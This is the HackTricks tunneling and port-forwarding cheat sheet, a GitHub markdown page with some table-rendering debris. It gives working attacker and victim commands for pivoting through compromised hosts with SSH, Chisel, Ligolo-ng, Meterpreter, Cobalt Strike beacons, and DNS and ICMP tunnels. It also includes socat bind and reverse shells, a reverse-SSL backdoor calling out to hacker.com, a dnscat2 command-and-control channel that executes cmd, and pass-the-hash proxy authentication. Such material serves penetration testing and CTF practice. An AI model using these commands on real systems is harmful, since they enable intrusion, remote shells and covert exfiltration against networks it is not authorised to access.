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https://github.com/carlospolop/hacktricks
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675 lines
22 KiB
Markdown
675 lines
22 KiB
Markdown
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# Tunneling and Port Forwarding
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Nmap tip
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{% hint style="warning" %}
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**ICMP** and **SYN** scans cannot be tunnelled through socks proxies, so we must **disable ping discovery** (`-Pn`) and specify **TCP scans** (`-sT`) for this to work.
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{% endhint %}
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## **Bash**
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**Host -> Jump -> InternalA -> InternalB**
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```bash
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# On the jump server connect the port 3333 to the 5985
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mknod backpipe p;
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nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe
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# On InternalA accessible from Jump and can access InternalB
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## Expose port 3333 and connect it to the winrm port of InternalB
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exec 3<>/dev/tcp/internalB/5985
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exec 4<>/dev/tcp/Jump/3333
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cat <&3 >&4 &
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cat <&4 >&3 &
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# From the host, you can now access InternalB from the Jump server
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evil-winrm -u username -i Jump
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```
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## **SSH**
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SSH graphical connection (X)
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```bash
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ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
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```
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### Local Port2Port
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Open new Port in SSH Server --> Other port
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```bash
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ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
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```
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```bash
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ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
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```
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### Port2Port
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Local port --> Compromised host (SSH) --> Third\_box:Port
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```bash
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ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
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#Example
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sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
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```
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### Port2hostnet (proxychains)
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Local Port --> Compromised host (SSH) --> Wherever
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```bash
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ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
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```
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### Reverse Port Forwarding
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This is useful to get reverse shells from internal hosts through a DMZ to your host:
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```bash
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ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
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# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
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# Note that port 443 must be open
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# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
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# and change the line "GatewayPorts no" to "GatewayPorts yes"
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# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
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```
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### VPN-Tunnel
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You need **root in both devices** (as you are going to create new interfaces) and the sshd config has to allow root login:\
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`PermitRootLogin yes`\
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`PermitTunnel yes`
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```bash
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ssh root@server -w any:any #This will create Tun interfaces in both devices
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ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
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ifconfig tun0 up #Activate the client side network interface
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ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
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ifconfig tun0 up #Activate the server side network interface
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```
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Enable forwarding on the Server side
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```bash
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echo 1 > /proc/sys/net/ipv4/ip_forward
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iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
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```
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Set a new route on the client side
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```
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route add -net 10.0.0.0/16 gw 1.1.1.1
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```
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## SSHUTTLE
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You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.\
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For example, forwarding all the traffic going to 10.10.10.0/24
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```bash
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pip install sshuttle
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sshuttle -r user@host 10.10.10.10/24
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```
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Connect with a private key
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```bash
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sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
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# -D : Daemon mode
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```
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## Meterpreter
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### Port2Port
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Local port --> Compromised host (active session) --> Third\_box:Port
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```bash
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# Inside a meterpreter session
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portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
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```
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### SOCKS
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```bash
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background# meterpreter session
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route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
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use auxiliary/server/socks_proxy
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run #Proxy port 1080 by default
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echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
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```
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Another way:
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```bash
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background #meterpreter session
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use post/multi/manage/autoroute
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set SESSION <session_n>
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set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
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set NETMASK <Netmask>
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run
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use auxiliary/server/socks_proxy
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set VERSION 4a
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run #Proxy port 1080 by default
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echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
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```
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## Cobalt Strike
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### SOCKS proxy
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Open a port in the teamserver listening in all the interfaces that can be used to **route the traffic through the beacon**.
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```bash
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beacon> socks 1080
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[+] started SOCKS4a server on: 1080
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# Set port 1080 as proxy server in proxychains.conf
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proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
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```
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### rPort2Port
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{% hint style="warning" %}
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In this case, the **port is opened in the beacon host**, not in the Team Server and the traffic is sent to the Team Server and from there to the indicated host:port
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{% endhint %}
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```bash
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rportfwd [bind port] [forward host] [forward port]
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rportfwd stop [bind port]
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```
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To note:
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* Beacon's reverse port forward is designed to **tunnel traffic to the Team Server, not for relaying between individual machines**.
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* Traffic is **tunneled within Beacon's C2 traffic**, including P2P links.
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* **Admin privileges are not required** to create reverse port forwards on high ports.
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### rPort2Port local
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{% hint style="warning" %}
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In this case, the **port is opened in the beacon host**, not in the Team Server and the **traffic is sent to the Cobalt Strike client** (not to the Team Server) and from there to the indicated host:port
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{% endhint %}
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```
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rportfwd_local [bind port] [forward host] [forward port]
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rportfwd_local stop [bind port]
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```
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## reGeorg
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[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
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You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp
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```bash
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python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
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```
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## Chisel
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You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
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You need to use the **same version for client and server**
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### socks
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```bash
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./chisel server -p 8080 --reverse #Server -- Attacker
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./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
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#And now you can use proxychains with port 1080 (default)
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./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
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./chisel client -v 10.10.10.10:8080 socks #Attacker
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```
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### Port forwarding
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```bash
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./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
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./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
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```
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## Ligolo-ng
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[https://github.com/nicocha30/ligolo-ng](https://github.com/nicocha30/ligolo-ng)
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**Use the same version for agent and proxy**
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### Tunneling
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```bash
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# Start proxy server and automatically generate self-signed TLS certificates -- Attacker
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sudo ./proxy -selfcert
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# Create an interface named "ligolo" -- Attacker
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interface_create --name "ligolo"
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# Print the currently used certificate fingerprint -- Attacker
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certificate_fingerprint
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# Start the agent with certification validation -- Victim
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./agent -connect <ip_proxy>:11601 -v -accept-fingerprint <fingerprint>
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# Select the agent -- Attacker
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session
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1
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# Start the tunnel on the proxy server -- Attacker
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tunnel_start --tun "ligolo"
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# Display the agent's network configuration -- Attacker
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ifconfig
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# Create a route to the agent's specified network -- Attacker
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interface_add_route --name "ligolo" --route <network_address_agent>/<netmask_agent>
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# Display the tun interfaces -- Attacker
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interface_list
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```
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### Agent Binding and Listening
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```bash
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# Establish a tunnel from the proxy server to the agent
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# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attacker
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listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp
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# Display the currently running listeners on the agent -- Attacker
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listener_list
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```
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## Rpivot
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[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
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Reverse tunnel. The tunnel is started from the victim.\
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A socks4 proxy is created on 127.0.0.1:1080
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```bash
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attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
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```
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```bash
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victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
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```
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Pivot through **NTLM proxy**
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```bash
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victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
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```
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```bash
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victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
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```
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## **Socat**
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[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
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### Bind shell
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```bash
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victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
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attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
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```
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### Reverse shell
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```bash
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attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
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victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
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```
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### Port2Port
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```bash
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socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
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```
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### Port2Port through socks
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```bash
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socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
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```
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### Meterpreter through SSL Socat
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```bash
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#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
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attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
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```
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```bash
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victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
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#Execute the meterpreter
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```
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You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console:
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```bash
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OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
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```
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[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
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### SSL Socat Tunnel
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**/bin/sh console**
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Create certificates on both sides: Client and Server
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```bash
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# Execute these commands on both sides
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FILENAME=socatssl
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openssl genrsa -out $FILENAME.key 1024
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openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
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cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
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chmod 600 $FILENAME.key $FILENAME.pem
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```
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```bash
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attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
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|||
|
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
|
|||
|
```
|
|||
|
|
|||
|
### Remote Port2Port
|
|||
|
|
|||
|
Connect the local SSH port (22) to the 443 port of the attacker host
|
|||
|
|
|||
|
```bash
|
|||
|
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
|
|||
|
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
|
|||
|
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
|
|||
|
```
|
|||
|
|
|||
|
## Plink.exe
|
|||
|
|
|||
|
It's like a console PuTTY version ( the options are very similar to an ssh client).
|
|||
|
|
|||
|
As this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward only locally accessible port to a port in our machine:
|
|||
|
|
|||
|
```bash
|
|||
|
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
|||
|
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
|||
|
```
|
|||
|
|
|||
|
## Windows netsh
|
|||
|
|
|||
|
### Port2Port
|
|||
|
|
|||
|
You need to be a local admin (for any port)
|
|||
|
|
|||
|
```bash
|
|||
|
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
|
|||
|
# Example:
|
|||
|
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
|
|||
|
# Check the port forward was created:
|
|||
|
netsh interface portproxy show v4tov4
|
|||
|
# Delete port forward
|
|||
|
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||
|
```
|
|||
|
|
|||
|
## SocksOverRDP & Proxifier
|
|||
|
|
|||
|
You need to have **RDP access over the system**.\
|
|||
|
Download:
|
|||
|
|
|||
|
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - This tool uses `Dynamic Virtual Channels` (`DVC`) from the Remote Desktop Service feature of Windows. DVC is responsible for **tunneling packets over the RDP connection**.
|
|||
|
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
|||
|
|
|||
|
In your client computer load **`SocksOverRDP-Plugin.dll`** like this:
|
|||
|
|
|||
|
```bash
|
|||
|
# Load SocksOverRDP.dll using regsvr32.exe
|
|||
|
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
|||
|
```
|
|||
|
|
|||
|
Now we can **connect** to the **victim** over **RDP** using **`mstsc.exe`**, and we should receive a **prompt** saying that the **SocksOverRDP plugin is enabled**, and it will **listen** on **127.0.0.1:1080**.
|
|||
|
|
|||
|
**Connect** via **RDP** and upload & execute in the victim machine the `SocksOverRDP-Server.exe` binary:
|
|||
|
|
|||
|
```
|
|||
|
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
|||
|
```
|
|||
|
|
|||
|
Now, confirm in you machine (attacker) that the port 1080 is listening:
|
|||
|
|
|||
|
```
|
|||
|
netstat -antb | findstr 1080
|
|||
|
```
|
|||
|
|
|||
|
Now you can use [**Proxifier**](https://www.proxifier.com/) **to proxy the traffic through that port.**
|
|||
|
|
|||
|
## Proxify Windows GUI Apps
|
|||
|
|
|||
|
You can make Windows GUI apps navigate through a proxy using [**Proxifier**](https://www.proxifier.com/).\
|
|||
|
In **Profile -> Proxy Servers** add the IP and port of the SOCKS server.\
|
|||
|
In **Profile -> Proxification Rules** add the name of the program to proxify and the connections to the IPs you want to proxify.
|
|||
|
|
|||
|
## NTLM proxy bypass
|
|||
|
|
|||
|
The previously mentioned tool: **Rpivot**\
|
|||
|
**OpenVPN** can also bypass it, setting these options in the configuration file:
|
|||
|
|
|||
|
```bash
|
|||
|
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
|||
|
```
|
|||
|
|
|||
|
### Cntlm
|
|||
|
|
|||
|
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
|||
|
|
|||
|
It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.\
|
|||
|
For example that forward port 443
|
|||
|
|
|||
|
```
|
|||
|
Username Alice
|
|||
|
Password P@ssw0rd
|
|||
|
Domain CONTOSO.COM
|
|||
|
Proxy 10.0.0.10:8080
|
|||
|
Tunnel 2222:<attackers_machine>:443
|
|||
|
```
|
|||
|
|
|||
|
Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.\
|
|||
|
You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222.
|
|||
|
|
|||
|
## YARP
|
|||
|
|
|||
|
A reverse proxy created by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
|||
|
|
|||
|
## DNS Tunneling
|
|||
|
|
|||
|
### Iodine
|
|||
|
|
|||
|
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
|||
|
|
|||
|
Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries.
|
|||
|
|
|||
|
```
|
|||
|
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
|||
|
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
|||
|
#You can see the victim at 1.1.1.2
|
|||
|
```
|
|||
|
|
|||
|
The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using:
|
|||
|
|
|||
|
```
|
|||
|
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
|||
|
```
|
|||
|
|
|||
|
### DNSCat2
|
|||
|
|
|||
|
[**Download it from here**](https://github.com/iagox86/dnscat2)**.**
|
|||
|
|
|||
|
Establishes a C\&C channel through DNS. It doesn't need root privileges.
|
|||
|
|
|||
|
```bash
|
|||
|
attacker> ruby ./dnscat2.rb tunneldomain.com
|
|||
|
victim> ./dnscat2 tunneldomain.com
|
|||
|
|
|||
|
# If using it in an internal network for a CTF:
|
|||
|
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
|
|||
|
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
|
|||
|
```
|
|||
|
|
|||
|
#### **In PowerShell**
|
|||
|
|
|||
|
You can use [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) to run a dnscat2 client in powershell:
|
|||
|
|
|||
|
```
|
|||
|
Import-Module .\dnscat2.ps1
|
|||
|
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
|||
|
```
|
|||
|
|
|||
|
#### **Port forwarding with dnscat**
|
|||
|
|
|||
|
```bash
|
|||
|
session -i <sessions_id>
|
|||
|
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
|
|||
|
```
|
|||
|
|
|||
|
#### Change proxychains DNS
|
|||
|
|
|||
|
Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** (hardcoded). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**.
|
|||
|
|
|||
|
## Tunnels in Go
|
|||
|
|
|||
|
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
|||
|
|
|||
|
## ICMP Tunneling
|
|||
|
|
|||
|
### Hans
|
|||
|
|
|||
|
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
|||
|
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
|||
|
|
|||
|
Root is needed in both systems to create tun adapters and tunnel data between them using ICMP echo requests.
|
|||
|
|
|||
|
```bash
|
|||
|
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
|||
|
./hans -f -c <server_ip> -p P@ssw0rd -v
|
|||
|
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
|
|||
|
```
|
|||
|
|
|||
|
### ptunnel-ng
|
|||
|
|
|||
|
[**Download it from here**](https://github.com/utoni/ptunnel-ng.git).
|
|||
|
|
|||
|
```bash
|
|||
|
# Generate it
|
|||
|
sudo ./autogen.sh
|
|||
|
|
|||
|
# Server -- victim (needs to be able to receive ICMP)
|
|||
|
sudo ptunnel-ng
|
|||
|
# Client - Attacker
|
|||
|
sudo ptunnel-ng -p <server_ip> -l <listen_port> -r <dest_ip> -R <dest_port>
|
|||
|
# Try to connect with SSH through ICMP tunnel
|
|||
|
ssh -p 2222 -l user 127.0.0.1
|
|||
|
# Create a socks proxy through the SSH connection through the ICMP tunnel
|
|||
|
ssh -D 9050 -p 2222 -l user 127.0.0.1
|
|||
|
```
|
|||
|
|
|||
|
## ngrok
|
|||
|
|
|||
|
[**ngrok**](https://ngrok.com/) **is a tool to expose solutions to Internet in one command line.**\
|
|||
|
&#xNAN;_Exposition URI are like:_ **UID.ngrok.io**
|
|||
|
|
|||
|
### Installation
|
|||
|
|
|||
|
* Create an account: https://ngrok.com/signup
|
|||
|
* Client download:
|
|||
|
|
|||
|
```bash
|
|||
|
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
|
|||
|
chmod a+x ./ngrok
|
|||
|
# Init configuration, with your token
|
|||
|
./ngrok config edit
|
|||
|
```
|
|||
|
|
|||
|
### Basic usages
|
|||
|
|
|||
|
**Documentation:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
|
|||
|
|
|||
|
_It is also possible to add authentication and TLS, if necessary._
|
|||
|
|
|||
|
#### Tunneling TCP
|
|||
|
|
|||
|
```bash
|
|||
|
# Pointing to 0.0.0.0:4444
|
|||
|
./ngrok tcp 4444
|
|||
|
# Example of resulting link: 0.tcp.ngrok.io:12345
|
|||
|
# Listen (example): nc -nvlp 4444
|
|||
|
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
|
|||
|
```
|
|||
|
|
|||
|
#### Exposing files with HTTP
|
|||
|
|
|||
|
```bash
|
|||
|
./ngrok http file:///tmp/httpbin/
|
|||
|
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
|||
|
```
|
|||
|
|
|||
|
#### Sniffing HTTP calls
|
|||
|
|
|||
|
_Useful for XSS,SSRF,SSTI ..._\
|
|||
|
Directly from stdout or in the HTTP interface [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
|||
|
|
|||
|
#### Tunneling internal HTTP service
|
|||
|
|
|||
|
```bash
|
|||
|
./ngrok http localhost:8080 --host-header=rewrite
|
|||
|
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
|||
|
# With basic auth
|
|||
|
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
|
|||
|
```
|
|||
|
|
|||
|
#### ngrok.yaml simple configuration example
|
|||
|
|
|||
|
It opens 3 tunnels:
|
|||
|
|
|||
|
* 2 TCP
|
|||
|
* 1 HTTP with static files exposition from /tmp/httpbin/
|
|||
|
|
|||
|
```yaml
|
|||
|
tunnels:
|
|||
|
mytcp:
|
|||
|
addr: 4444
|
|||
|
proto: tcptunne
|
|||
|
anothertcp:
|
|||
|
addr: 5555
|
|||
|
proto: tcp
|
|||
|
httpstatic:
|
|||
|
proto: http
|
|||
|
addr: file:///tmp/httpbin/
|
|||
|
```
|
|||
|
|
|||
|
## Other tools to check
|
|||
|
|
|||
|
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
|||
|
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Support HackTricks</summary>
|
|||
|
|
|||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|